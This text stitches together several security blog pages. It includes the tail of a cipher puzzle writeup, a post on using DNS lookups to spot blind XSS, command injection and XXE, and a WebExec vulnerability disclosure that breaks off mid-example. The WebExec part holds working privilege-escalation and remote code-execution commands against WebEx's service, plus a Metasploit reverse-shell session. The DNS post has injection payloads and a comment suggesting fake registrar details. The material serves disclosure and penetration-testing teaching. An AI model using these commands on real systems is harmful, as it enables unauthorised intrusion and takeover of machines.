    Which translates to 54.138852,13.767725. We googled the coordinates, and it turned out to be a location in Germany: Flughafenring, 17449 Peenemünde, Germany.

    After many failed searches we tried "Peenemünde ww2 air and space", which led to a reference to the German V2 Rocket. Here is the exhibit and QR code:

    Scanning the QR code revealed aggregat_4, the formal name for the V-2 rocket.

    Challenge 7: Hacker of Coding

    This is an image with a cipher on the right:

    Your primary computer's 0.043MHz CPU is currently maxed out with other more important tasks, so converting all these books of source code to assembly is entirely up to you.

    On the chalkboard is a cipher:

    We couldn't remember what it was called, and ended up searching for "line dot cipher", which immediately identified it as a pigpen cipher. The pigpen cipher can be decoded with this graphic:

    Essentially, you find the shape containing the letter that corresponds to the shape in that graphic. So, the first letter is ">" on the chalkboard, which maps to 'T'. The second is the upper three quarters of a square, which matches up with 'H', and the third is a square, which matches to E. And so on.

    Initially we found a version that didn't map to the proper English characters, and translated it to:

    Later, we did it right and found the text "THE BEST SHIP TO COME DOWN THE LINE"

    To find the artifact, we googled "0.043MHz", and immediately discovered it was "Apollo 11".

    The QR code scanned to the_eleventh_apollo

    And that's it!

    And that's the end of the cipher portion of the challenge! We were first place by only a few minutes. :)

    The last part of the challenge involved throwing wood airplanes. Because our plane didn't go backwards, it wasn't the worst, but it's nothing to write home about!

    But in the end, it was a really cool way to see a bunch of artifacts and also break some codes!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Random picture » SkullSecurity

    Random picture: Traffic control box

    I was going to do a post about Nmap today, but since their svn is having some issues, you're going to get something a little more fun (in my opinion)! My friend snapped this picture in Vancouver, BC near Stanley Park (the picture is geocoded, so check out the Exif data if you want to […]

    #####EOF##### February » 2015 » SkullSecurity

    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end. Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was […]

    #####EOF##### Why DNS is awesome and why you should love it » SkullSecurity


    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :)

    I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's difficult to describe these decisions as good or bad, it's just what we have to work with.

    What I DON'T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.

    Technically, I'm also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.

    Recursive? Authoritative? Wut?

    As always, I'll start with some introduction to how DNS works. If you already know DNS, you can go ahead and skip to the next section.

    DNS is recursive. That means that if you ask a server about a domain it doesn't know about (that is, a domain that isn't cached or a domain that the server isn't the authority for), it'll either pass it upstream to another DNS server (recursive) or tell you where to go for the answer (non-recursive). As always, we'll focus on recursive DNS servers - they're the fun ones!

    If no interim DNS server has the entry cached, the request will eventually make it all the way to the authoritative server for the domain. For example, the authoritative server for *.skullseclabs.org is 206.220.196.59 - my server (and hopefully the server you're reading this on :) ). That is, any request that ends with skullseclabs.org - and that isn't cached - will eventually go to my server. See the next section for information on how to set up your own authoritative DNS server.

    Let's look at a typical setup. You're on your home network. Your router's ip address is probably the usual 192.168.1.1, and is plugged into a cable modem. When you connect your laptop to your network, DHCP (aka, magic) happens, and your DNS server probably gets set to 192.168.1.1 (unless you've manually configured it to 8.8.8.8, which you should). When your router connects to your cable modem, more DHCP (aka, more magic) happens, and its DNS server set to the ISP's DNS server.

    When you do a lookup, like "dig hello.skullseclabs.org", your computer sends a DNS request to 192.168.1.1 saying "who is hello.skullseclabs.org"? Obviously, your router has no idea - he's just a stupid Linksys or whatever - so he has to forward the request to the ISP's DNS server.

    The ISP's DNS server gets the request, and it has no idea what to do with it either. It certainly doesn't know who "hello.skullseclabs.org" is, so it's gonna forward the request to its DNS server, whatever that happens to be. Or it might tell the router where to look for a non-recursive query. Since at this point it's out of our hands, it doesn't really matter.

    Eventually, some DNS server along the way is going to say "hey, why don't we just go to the source?", and through a process that leading scientists believe is magic (there's a lot of magic in DNS :) ), it will look up the authoritative server for skullseclabs.org, discover it's 206.220.196.59, and send the request there.

    My server will see the request, and, assuming something is listening on UDP port 53, have the opportunity to respond.

    The response can be any IP address for an A (IP) or AAAA (IPv6) request; a name for a CNAME (alias) or MX (mail) request; or any ol' text for a TXT request. It can also be NXDomain - "domain not found" - or various error messages (like "servfail").

    One of the cool things is that even if we return "domain not found", we still see that a request happened, even if the person doing the lookup sees that it failed! We'll see some examples of why that's cool shortly.

    How do I get an authoritative server?

    The sad part is, getting an authoritative server isn't free. You have to buy a domain, which is on the order of $10 / year, give or take.

    Beyond that, it's just a configuration thing. I don't want to spend a ton of time talking about it here, so check out this guide, written by Irvin Zhan for instructions to do it on Namecheap.

    I personally did it on Godaddy. It took some time to figure out, though, so prepare for a headache! But trust me: it's worth it.

    The set up

    We'll use skullseclabs.org - my test domain - for the remainder of this. Obviously, if you want to do this yourself, you'll need to replace that with whatever domain you registered. We'll also use dnslogger.rb, which you'll get if you clone dnscat2's repository.

    Getting dnslogger.rb to work is mostly easy, but permissions can be a problem. To listen on UDP/53, it has to run as root. It also needs the "rubydns" gem installed in a place where it can be found. That can be a little annoying, so I apologize if it's a pain. "rvmsudo" may help.

    If anybody out there is familiar with how to properly package Ruby programs, I'd love to chat! I'm making this up as I go along :)

    What does DNS look like?

    All right, let's mess around!

    I'll start by having no DNS server running at all on skullseclabs.org - basically, the base state. From another host, if you try to ping it, you'll see this:

    $ ping noserver.skullseclabs.org
    Ping request could not find host noserver.skullseclabs.org. Please check the name and try again.
    

    Conclusion? It's down. If you were investigating an incident and you saw that message, you'd conclude that there's nothing there, right? Probably?

    Let's fire up dnslogger.rb:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    

    Then do the same ping (with a different domain, because caching can screw you up):

    $ ping yesserver.skullseclabs.org
    Ping request could not find host yesserver.skullseclabs.org. Please check the name and try again.
    

    It's the exact. Same. Response. The only difference is, on the DNS server, we see this:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    Got a request for yesserver.skullseclabs.org [type = A], responding with NXDomain
    

    What's this? We saw the request! Even if the person doing the lookup thought it failed, it didn't: WE KNOW.

    That's really cool, because it's a really, really stealthy way to find out if somebody is looking you up. If you do a reverse DNS lookup for 206.220.196.59, you'll see:

    $ dig -x 206.220.196.59
    [...]
    ;; ANSWER SECTION:
    59.196.220.206.in-addr.arpa. 3567 IN    PTR     test.skullseclabs.org.
    

    And if you look up the forward record:

    $ dig test.skullseclabs.org
    [...]
    ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57980
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
    

    NXDOMAIN = "no such domain". Totally stealth!

    Why is it so awesome?

    Let's say you're testing for cross-site scripting on a site. Post <img src="pagenamegoeshere.skullseclabs.org" /> everywhere. If you later see a request like "adminpage.skullseclabs.org" come in, then guess what? You found some stored XSS on their admin page!

    Let's say you're looking for shell injection. Normally, you do something like "vulnerablesite.com/query?q=myquery||ping -c5 localhost". If it takes 5 seconds, it's probably vulnerable to XSSshell command injection [thanks albinowax!]. That's lame. Instead, do a query for "myquery||nslookup pagename.skullseclabs.org". If you see the query, it's definitely vulnerable. If you don't, it's almost certainly not.

    Let's say you're looking for XXE. Normally, you'd stick something like "<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>" into the XML. That works great - IF it returns the data. If it doesn't, you see nothing, and it probably failed. Probably. But if you change the "file:///" URL to "http://somethingunique.skullseclabs.org", you'll see the request in your DNS logs, and you can confirm it's vulnerable!

    Let's say you're wondering if a system is executing a binary you're sending across the network. Create a binary that attempts to connect to binaryname.skullseclabs.org. You'll instantly know if anybody attempted to run it, and in their logs they'll see nothing more than a failed DNS lookup. As far as they know, nothing happened!

    The coolest thing is, if you're responding with NXDomain, then as far as the client or IDS/IPS/Wireshark/etc. knows, the domain doesn't exist and the connection doesn't happen. Nothing even attempts to connect - it doesn't even send a SYN. How could it? It just looks at the domain and "NOPES" right outta there.

    If some poor server admin has to figure out what's happening, what's s/he going to see? A request to a domain which, if they ping, doesn't exist. At that point, they give up and declare it a false positive. What else can they do, really?

    There are so many applications. Looking for SQL injection? Use a command that does a DNS lookup (I don't know enough about SQL to do this). Looking for a RFI vuln? Try to include a file from your domain. Wondering if a company will try emailing you without risking getting an email (I'm sure I can come up with a scenario)? Give them "thisisfake@fakeemail.skullseclabs.org" as your email address. If I try to email that from gmail, it fails pretty much instantly:

    Delivery to the following recipient failed permanently:
    
         thisisfake@fakeemail.skullseclabs.org
    
    Technical details of permanent failure:
    DNS Error: Address resolution of fakeemail.skullseclabs.org. failed: Domain name not found
    

    But I still see that they tried:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = AAAA], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = A], responding with NXDomain
    

    I see the attempt, but neither gmail nor the original sender can tell that apart from a misspelled domain - because it's identical in every way!

    (I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)

    Returning addresses

    dnslogger.rb can return more than just NXDomain - it can return actual domains! If you start dnslogger.rb with a --A argument:

    $ sudo ruby ./dnslogger.rb --A "8.8.8.8"

    Then it'll return that ip address for every A request for any domain:

    $ ping arecord.skullseclabs.org
    
    Pinging arecord.skullseclabs.org [8.8.8.8] with 32 bytes of data:
    Reply from 8.8.8.8: bytes=32 time=85ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=80ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=73ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=90ms TTL=44
    
    Ping statistics for 8.8.8.8:
        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 73ms, Maximum = 90ms, Average = 82ms
    

    If you do a lookup directly to the server, you can use any domain:

    $ dig @206.220.196.59 google.com
    [...]
    ;; ANSWER SECTION:
    google.com.             86400   IN      A       8.8.8.8
    

    In the past, I've found a DNS server that always returns the same thing to be useful for analyzing malware (also database software, which can often be considered the same thing). In particular, setting a system's DNS server to the IP of a dnslogger.rb instance, then returning 127.0.0.1 for all A records and ::1 for all AAAA records, can be a great way to analyze malware without letting it connect outbound to any domains (it will, of course, be able to connect outbound if it uses an ip address instead of a domain name):

    $ sudo ruby ./dnslogger.rb --A "127.0.0.1" --AAAA "::1"
    

    What else can you do?

    Well, I mean, if you have an authoritative DNS server, you can have a command-and-control channel over DNS. I'm not going to dwell on that, but I've written about it in the past :).

    Conclusion

    The entire point of this post is that: it's possible to tell if somebody is trying to connect to you (either as a TCP connection, sending an email, pinging you, etc) without them knowing that you know.

    And the coolest part of all this? It's totally invisible. As far as anybody can tell, the connection fails and that's all they know.

    Isn't DNS awesome?

    16 thoughts on “Why DNS is awesome and why you should love it

    1. Reply

      datenpunk

      (I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)

      Here you go: https://en.wikipedia.org/wiki/MX_record#History_of_fallback_to_address_record

    2. Reply

      JP

      The mail system does an AAAA/A lookup because if there is no MX for a host the protocol falls back to trying to deliver directly to the host. Back in the day mail quite often went to a specific machine not a domain. Sometimes it was even routed that way user%host.domain@otherhost.domain

      Bonus points for anybody who remember inhp4, mcvax and seismo

    3. Reply

      Philip Woolford

      Regarding the AAAA/A record lookup, that's a fallback mechanism built into the SMTP standard.

      See RFC 5321 §5.1: Locating the Target Host

      If an empty list of MXs is returned, the address is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host.

    4. Reply

      Wolfgang Kandek

      Excellent tool, looks very useful. Will test it this week.

      Regarding MX/AAAA/A it is in SMTP RFC 2821: "If no MX records are found, but an A RR is found, the A RR is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host."

    5. Reply

      Timo

      According to RFC 974, an empty MX record list implies that the domain name itself is the host name for the mail exchange. This is why the MX lookup failure is followed by a AAAA/A lookup.

    6. Reply

      Michael

      >I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that

      The SMTP RFC specifies that if there is no MX record, delivery is to be attempted to the host itself.

    7. Reply

      albinowax

      Good stuff. This is pretty much exactly what we're automating with Burp Collaborator.

      If it takes 5 seconds, it's probably vulnerable to XSS.

      I think you mean OS command injection?

      1. Reply

        Ron Bowes Post author

        Derp, yes, thanks. :)

        That's awesome about automating it! When burp thinks it finds command injection, doing something with DNS is the first thing I always try :)

        1. Reply

          Ron Bowes Post author

          I need to fire my editor.

          Or, better yet, hire one. :)

    8. Reply

      Anonymous

      Ok, I must agree that after reading this article, I think DNS is pretty awesome too!!

    9. Reply

      cynicXer

      "$ sudy ruby ./dnslogger.rb --A "8.8.8.8""

      I'm relatively certain you meant "sudo".

    10. Reply

      Sergey Belov

      https://thesprawl.org/projects/dnschef/ released a long time ago.

      1. Reply

        Ron Bowes Post author

        Yeah, I don't pretend this was something new. It's just really, really simple code that I figured would be handy. :)

    11. Reply

      John

      Wow, i didn't actually know you could do this much with DNS. time to try this out me thinks.

    12. Reply

      Pypy

      Correct me if I'm wrong but if an IT guy wanted to look into the DNS lookup, wouldn't he be able to find the details you provided to the registrar? So you'd have to lie to them to remain anonymous and make up something that doesn't look suspicious.

      1. Reply

        Ron Bowes Post author

        @Pypy: Yeah, it could be traced back, assuming they know that they should. The idea is that it blends in enough that they wouldn't see it.

        If you need to be REALLY careful, you could register the domain with a pre-paid card and fake details.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### #####EOF##### Technical Rundown of WebExec » SkullSecurity


    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it's patched.

    High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

    Credit

    This vulnerability was discovered by myself and Jeff McJunkin from Counter Hack during a routine pentest. Thanks to Ed Skoudis for permission to post this writeup.

    If you have any questions or concerns, I made an email alias specifically for this issue: info@webexec.org!

    You can download a vulnerable installer here and a patched one here, in case you want to play with this yourself! It probably goes without saying, but be careful if you run the vulnerable version!

    Intro

    During a recent pentest, we found an interesting vulnerability in the WebEx client software while we were trying to escalate local privileges on an end-user laptop. Eventually, we realized that this vulnerability is also exploitable remotely (given any domain user account) and decided to give it a name: WebExec. Because every good vulnerability has a name!

    As far as we know, a remote attack against a 3rd party Windows service is a novel type of attack. We're calling the class "thank you for your service", because we can, and are crossing our fingers that more are out there!

    The actual version of WebEx is the latest client build as of August, 2018: Version 3211.0.1801.2200, modified 7/19/2018 SHA1: bf8df54e2f49d06b52388332938f5a875c43a5a7. We've tested some older and newer versions since then, and they are still vulnerable.

    WebEx released patch on October 3, but requested we maintain embargo until they release their advisory. You can find all the patching instructions on webexec.org.

    The good news is, the patched version of this service will only run files that are signed by WebEx. The bad news is, there are a lot of those out there (including the vulnerable version of the service!), and the service can still be started remotely. If you're concerned about the service being remotely start-able by any user (which you should be!), the following command disables that function:

    c:\>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
    

    That removes remote and non-interactive access from the service. It will still be vulnerable to local privilege escalation, though, without the patch.

    Privilege Escalation

    What initially got our attention is that folder (c:\ProgramData\WebEx\WebEx\Applications\) is readable and writable by everyone, and it installs a service called "webexservice" that can be started and stopped by anybody. That's not good! It is trivial to replace the .exe or an associated .dll with anything we like, and get code execution at the service level (that's SYSTEM). That's an immediate vulnerability, which we reported, and which ZDI apparently beat us to the punch on, since it was fixed on September 5, 2018, based on their report.

    Due to the application whitelisting, however, on this particular assessment we couldn't simply replace this with a shell! The service starts non-interactively (ie, no window and no commandline arguments). We explored a lot of different options, such as replacing the .exe with other binaries (such as cmd.exe), but no GUI meant no ability to run commands.

    One test that almost worked was replacing the .exe with another whitelisted application, msbuild.exe, which can read arbitrary C# commands out of a .vbproj file in the same directory. But because it's a service, it runs with the working directory c:\windows\system32, and we couldn't write to that folder!

    At that point, my curiosity got the best of me, and I decided to look into what webexservice.exe actually does under the hood. The deep dive ended up finding gold! Let's take a look

    Deep dive into WebExService.exe

    It's not really a good motto, but when in doubt, I tend to open something in IDA. The two easiest ways to figure out what a process does in IDA is the strings windows (shift-F12) and the imports window. In the case of webexservice.exe, most of the strings were related to Windows service stuff, but something caught my eye:

      .rdata:00405438 ; wchar_t aSCreateprocess
      .rdata:00405438 aSCreateprocess:                        ; DATA XREF: sub_4025A0+1E8o
      .rdata:00405438                 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0
    

    I found the import for CreateProcessAsUserW in advapi32.dll, and looked at how it was called:

      .text:0040254E                 push    [ebp+lpProcessInformation] ; lpProcessInformation
      .text:00402554                 push    [ebp+lpStartupInfo] ; lpStartupInfo
      .text:0040255A                 push    0               ; lpCurrentDirectory
      .text:0040255C                 push    0               ; lpEnvironment
      .text:0040255E                 push    0               ; dwCreationFlags
      .text:00402560                 push    0               ; bInheritHandles
      .text:00402562                 push    0               ; lpThreadAttributes
      .text:00402564                 push    0               ; lpProcessAttributes
      .text:00402566                 push    [ebp+lpCommandLine] ; lpCommandLine
      .text:0040256C                 push    0               ; lpApplicationName
      .text:0040256E                 push    [ebp+phNewToken] ; hToken
      .text:00402574                 call    ds:CreateProcessAsUserW
    

    The W on the end refers to the UNICODE ("wide") version of the function. When developing Windows code, developers typically use CreateProcessAsUser in their code, and the compiler expands it to CreateProcessAsUserA for ASCII, and CreateProcessAsUserW for UNICODE. If you look up the function definition for CreateProcessAsUser, you'll find everything you need to know.

    In any case, the two most important arguments here are hToken - the user it creates the process as - and lpCommandLine - the command that it actually runs. Let's take a look at each!

    hToken

    The code behind hToken is actually pretty simple. If we scroll up in the same function that calls CreateProcessAsUserW, we can just look at API calls to get a feel for what's going on. Trying to understand what code's doing simply based on the sequence of API calls tends to work fairly well in Windows applications, as you'll see shortly.

    At the top of the function, we see:

      .text:0040241E                 call    ds:CreateToolhelp32Snapshot
    

    This is a normal way to search for a specific process in Win32 - it creates a "snapshot" of the running processes and then typically walks through them using Process32FirstW and Process32NextW until it finds the one it needs. I even used the exact same technique a long time ago when I wrote my Injector tool for loading a custom .dll into another process (sorry for the bad code.. I wrote it like 15 years ago).

    Based simply on knowledge of the APIs, we can deduce that it's searching for a specific process. If we keep scrolling down, we can find a call to _wcsicmp, which is a Microsoft way of saying stricmp for UNICODE strings:

      .text:00402480                 lea     eax, [ebp+Str1]
      .text:00402486                 push    offset Str2     ; "winlogon.exe"
      .text:0040248B                 push    eax             ; Str1
      .text:0040248C                 call    ds:_wcsicmp
      .text:00402492                 add     esp, 8
      .text:00402495                 test    eax, eax
      .text:00402497                 jnz     short loc_4024BE
    

    Specifically, it's comparing the name of each process to "winlogon.exe" - so it's trying to get a handle to the "winlogon.exe" process!

    If we continue down the function, you'll see that it calls OpenProcess, then OpenProcessToken, then DuplicateTokenEx. That's another common sequence of API calls - it's how a process can get a handle to another process's token. Shortly after, the token it duplicates is passed to CreateProcessAsUserW as hToken.

    To summarize: this function gets a handle to winlogon.exe, duplicates its token, and creates a new process as the same user (SYSTEM). Now all we need to do is figure out what the process is!

    An interesting takeaway here is that I didn't really really read assembly at all to determine any of this: I simply followed the API calls. Often, reversing Windows applications is just that easy!

    lpCommandLine

    This is where things get a little more complicated, since there are a series of function calls to traverse to figure out lpCommandLine. I had to use a combination of reversing, debugging, troubleshooting, and eventlogs to figure out exactly where lpCommandLine comes from. This took a good full day, so don't be discouraged by this quick summary - I'm skipping an awful lot of dead ends and validation to keep just to the interesting bits.

    One such dead end: I initially started by working backwards from CreateProcessAsUserW, or forwards from main(), but I quickly became lost in the weeds and decided that I'd have to go the other route. While scrolling around, however, I noticed a lot of debug strings and calls to the event log. That gave me an idea - I opened the Windows event viewer (eventvwr.msc) and tried to start the process with sc start webexservice:

    C:\Users\ron>sc start webexservice
    
    SERVICE_NAME: webexservice
            TYPE               : 10  WIN32_OWN_PROCESS
            STATE              : 2  START_PENDING
                                    (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
    [...]
    

    You may need to configure Event Viewer to show everything in the Application logs, I didn't really know what I was doing, but eventually I found a log entry for WebExService.exe:

      ExecuteServiceCommand::Not enough command line arguments to execute a service command.
    

    That's handy! Let's search for that in IDA (alt+T)! That leads us to this code:

      .text:004027DC                 cmp     edi, 3
      .text:004027DF                 jge     short loc_4027FD
      .text:004027E1                 push    offset aExecuteservice ; &quot;ExecuteServiceCommand&quot;
      .text:004027E6                 push    offset aSNotEnoughComm ; &quot;%s::Not enough command line arguments t&quot;...
      .text:004027EB                 push    2               ; wType
      .text:004027ED                 call    sub_401770
    

    A tiny bit of actual reversing: compare edit to 3, jump if greater or equal, otherwise print that we need more commandline arguments. It doesn't take a huge logical leap to determine that we need 2 or more commandline arguments (since the name of the process is always counted as well). Let's try it:

    C:\Users\ron>sc start webexservice a b
    
    [...]
    

    Then check Event Viewer again:

      ExecuteServiceCommand::Service command not recognized: b.
    

    Don't you love verbose error messages? It's like we don't even have to think! Once again, search for that string in IDA (alt+T) and we find ourselves here:

      .text:00402830 loc_402830:                             ; CODE XREF: sub_4027D0+3Dj
      .text:00402830                 push    dword ptr [esi+8]
      .text:00402833                 push    offset aExecuteservice ; "ExecuteServiceCommand"
      .text:00402838                 push    offset aSServiceComman ; "%s::Service command not recognized: %ls"...
      .text:0040283D                 push    2               ; wType
      .text:0040283F                 call    sub_401770
    

    If we scroll up just a bit to determine how we get to that error message, we find this:

      .text:004027FD loc_4027FD:                             ; CODE XREF: sub_4027D0+Fj
      .text:004027FD                 push    offset aSoftwareUpdate ; "software-update"
      .text:00402802                 push    dword ptr [esi+8] ; lpString1
      .text:00402805                 call    ds:lstrcmpiW
      .text:0040280B                 test    eax, eax
      .text:0040280D                 jnz     short loc_402830 ; <-- Jumps to the error we saw
      .text:0040280F                 mov     [ebp+var_4], eax
      .text:00402812                 lea     edx, [esi+0Ch]
      .text:00402815                 lea     eax, [ebp+var_4]
      .text:00402818                 push    eax
      .text:00402819                 push    ecx
      .text:0040281A                 lea     ecx, [edi-3]
      .text:0040281D                 call    sub_4025A0
    

    The string software-update is what the string is compared to. So instead of b, let's try software-update and see if that gets us further! I want to once again point out that we're only doing an absolutely minimum amount of reverse engineering at the assembly level - we're basically entirely using API calls and error messages!

    Here's our new command:

    C:\Users\ron>sc start webexservice a software-update
    
    [...]
    

    Which results in the new log entry:

      Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
      Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
      Exception code: 0xc0000005
      Fault offset: 0x00002643
      Faulting process id: 0x654
      Faulting application start time: 0x01d42dbbf2bcc9b8
      Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
      Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
      Report Id: 31555e60-99af-11e8-8391-0800271677bd
    

    Uh oh! I'm normally excited when I get a process to crash, but this time I'm actually trying to use its features! What do we do!?

    First of all, we can look at the exception code: 0xc0000005. If you Google it, or develop low-level software, you'll know that it's a memory fault. The process tried to access a bad memory address (likely NULL, though I never verified).

    The first thing I tried was the brute-force approach: let's add more commandline arguments! My logic was that it might require 2 arguments, but actually use the third and onwards for something then crash when they aren't present.

    So I started the service with the following commandline:

    C:\Users\ron>sc start webexservice a software-update a b c d e f
    
    [...]
    

    That led to a new crash, so progress!

      Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
      Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
      Exception code: 0x40000015
      Fault offset: 0x000a7676
      Faulting process id: 0x774
      Faulting application start time: 0x01d42dbc22eef30e
      Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
      Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
      Report Id: 60a0439c-99af-11e8-8391-0800271677bd
    

    I had to google 0x40000015; it means STATUS_FATAL_APP_EXIT. In other words, the app exited, but hard - probably a failed assert()? We don't really have any output, so it's hard to say.

    This one took me awhile, and this is where I'll skip the deadends and debugging and show you what worked.

    Basically, keep following the codepath immediately after the software-update string we saw earlier. Not too far after, you'll see this function call:

      .text:0040281D                 call    sub_4025A0
    

    If you jump into that function (double click), and scroll down a bit, you'll see:

      .text:00402616                 mov     [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"
    

    I used the most advanced technique in my arsenal here and googled that string. It turns out that it's a handle to the default desktop and is frequently used when starting a new process that needs to interact with the user. That's a great sign, it means we're almost there!

    A little bit after, in the same function, we see this code:

      .text:004026A2                 push    eax             ; EndPtr
      .text:004026A3                 push    esi             ; Str
      .text:004026A4                 call    ds:wcstod ; <--
      .text:004026AA                 add     esp, 8
      .text:004026AD                 fstp    [esp+0B4h+var_90]
      .text:004026B1                 cmp     esi, [esp+0B4h+EndPtr+4]
      .text:004026B5                 jnz     short loc_4026C2
      .text:004026B7                 push    offset aInvalidStodArg ; &quot;invalid stod argument&quot;
      .text:004026BC                 call    ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)
    

    The line with an error - wcstod() is close to where the abort() happened. I'll spare you the debugging details - debugging a service was non-trivial - but I really should have seen that function call before I got off track.

    I looked up wcstod() online, and it's another of Microsoft's cleverly named functions. This one converts a string to a number. If it fails, the code references something called std::_Xinvalid_argument. I don't know exactly what it does from there, but we can assume that it's looking for a number somewhere.

    This is where my advice becomes "be lucky". The reason is, the only number that will actually work here is "1". I don't know why, or what other numbers do, but I ended up calling the service with the commandline:

    C:\Users\ron>sc start webexservice a software-update 1 2 3 4 5 6
    

    And checked the event log:

      StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).
    

    That looks awfully promising! I changed 2 to an actual process:

      C:\Users\ron>sc start webexservice a software-update 1 calc c d e f
    

    And it opened!

    C:\Users\ron>tasklist | find "calc"
    calc.exe                      1476 Console                    1     10,804 K
    

    It actually runs with a GUI, too, so that's kind of unnecessary. I could literally see it! And it's running as SYSTEM!

    Speaking of unknowns, running cmd.exe and powershell the same way does not appear to work. We can, however, run wmic.exe and net.exe, so we have some choices!

    Local exploit

    The simplest exploit is to start cmd.exe with wmic.exe:

    C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"
    

    That opens a GUI cmd.exe instance as SYSTEM:

    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    
    C:\Windows\system32>whoami
    nt authority\system
    

    If we can't or choose not to open a GUI, we can also escalate privileges:

    C:\Users\ron>net localgroup administrators
    [...]
    Administrator
    ron
    
    C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
    [...]
    
    C:\Users\ron>net localgroup administrators
    [...]
    Administrator
    ron
    testuser
    

    And this all works as an unprivileged user!

    Jeff wrote a local module for Metasploit to exploit the privilege escalation vulnerability. If you have a non-SYSTEM session on the affected machine, you can use it to gain a SYSTEM account:

    meterpreter > getuid
    Server username: IEWIN7\IEUser
    
    meterpreter > background
    [*] Backgrounding session 2...
    
    msf exploit(multi/handler) > use exploit/windows/local/webexec
    msf exploit(windows/local/webexec) > set SESSION 2
    SESSION => 2
    
    msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
    msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
    msf exploit(windows/local/webexec) > set LPORT 9001
    msf exploit(windows/local/webexec) > run
    
    [*] Started reverse TCP handler on 172.16.222.1:9001
    [*] Checking service exists...
    [*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
    [*] Launching service...
    [*] Sending stage (179779 bytes) to 172.16.222.132
    [*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
    [*] Service started...
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    

    Remote exploit

    We actually spent over a week knowing about this vulnerability without realizing that it could be used remotely! The simplest exploit can still be done with the Windows sc command. Either create a session to the remote machine or create a local user with the same credentials, then run cmd.exe in the context of that user (runas /user:newuser cmd.exe). Once that's done, you can use the exact same command against the remote host:

    c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add
    

    The command will run (and a GUI will even pop up!) on the other machine.

    Remote exploitation with Metasploit

    To simplify this attack, I wrote a pair of Metasploit modules. One is an auxiliary module that implements this attack to run an arbitrary command remotely, and the other is a full exploit module. Both require a valid SMB account (local or domain), and both mostly depend on the WebExec library that I wrote.

    Here is an example of using the auxiliary module to run calc on a bunch of vulnerable machines:

    msf5 > use auxiliary/admin/smb/webexec_command
    msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
    RHOSTS => 192.168.56.100-110
